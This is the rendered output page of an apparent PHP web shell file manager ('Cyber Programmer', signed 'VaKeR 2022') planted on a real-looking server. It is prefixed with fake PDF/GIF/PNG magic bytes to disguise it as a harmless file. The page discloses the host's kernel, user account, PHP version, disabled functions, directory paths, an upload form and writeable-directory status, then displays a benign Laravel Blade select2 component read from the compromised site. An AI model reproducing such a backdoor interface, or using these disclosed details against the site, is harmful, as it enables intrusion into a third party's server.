%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/resources/views/components/forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/resources/views/components/forms/select2-ajax.blade.php
<div {{ $attributes->merge(['class' => 'w-100 form-group mb-0']) }}>
    <x-forms.select :fieldId="$fieldId" :fieldLabel="$fieldLabel" :fieldName="$fieldName"></x-forms.select>
</div>

<script>
    $(document).ready(function () {
        $("#{{$fieldId}}").select2({
            @if($format)
            templateResult: formatState,
            @endif
            ajax: {
                url: "{{ $route }}",
                dataType: 'json',
                type: "GET",
                delay: 250,
                data: function (params) {
                    return {
                        search: params.term,
                    };
                },
                processResults: function (response) {
                    return {
                        results: response
                    }
                },
                cache: true
            },
            placeholder: '{{$placeholder}}',
            minimumInputLength: 2,
            language: {
                inputTooShort: function () {
                    return "@lang('placeholders.select2Min')";
                }
            },
            allowClear: true
        });

        function formatState(data) {
            if (!data.id) {
                return data.text;
            }
            return $(`<span><img class="mr-2 taskEmployeeImg rounded" src="${data.logo_url}" />${data.text}</span>`);
        }
    })
</script>

VaKeR 2022